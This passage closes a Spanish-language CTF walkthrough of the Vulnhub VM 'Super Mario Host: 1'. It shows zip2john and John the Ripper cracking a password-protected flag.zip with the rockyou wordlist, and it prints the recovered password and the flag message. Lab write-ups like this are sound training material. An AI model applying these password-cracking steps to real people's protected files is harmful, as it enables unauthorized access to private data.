Una vez descargado se utiliza a john para desencriptar él .zip.
$ zip2john flag.zip > ziphash


$ john --wordlist=~/Documentos/rockyou.txt ziphash              
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (flag.zip/flag.txt)


Se descomprime y se utiliza esta contraseña en él .zip y se encuentra lo siguiente.
$ unzip flag.zip  
Archive:  flag.zip
[flag.zip] flag.txt password:
  inflating: flag.txt  


$ cat flag.txt
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh


Y bueno, eso es todo por esta entrada, no se continúa esta entrada con la búsqueda del siguiente flag, ya que hay un punto en el que parece que todo funciona y debería funcionar no funciona. Asi que les dejo hasta aquí, si alguien cree tener la forma de evadir esa restricción con gusto, me gustaría platicarlo.

Muchas gracias a @mr_h4sh que nos brindó esta VM. Hasta la próxima.

Vulnhub: Super Mario Host: 1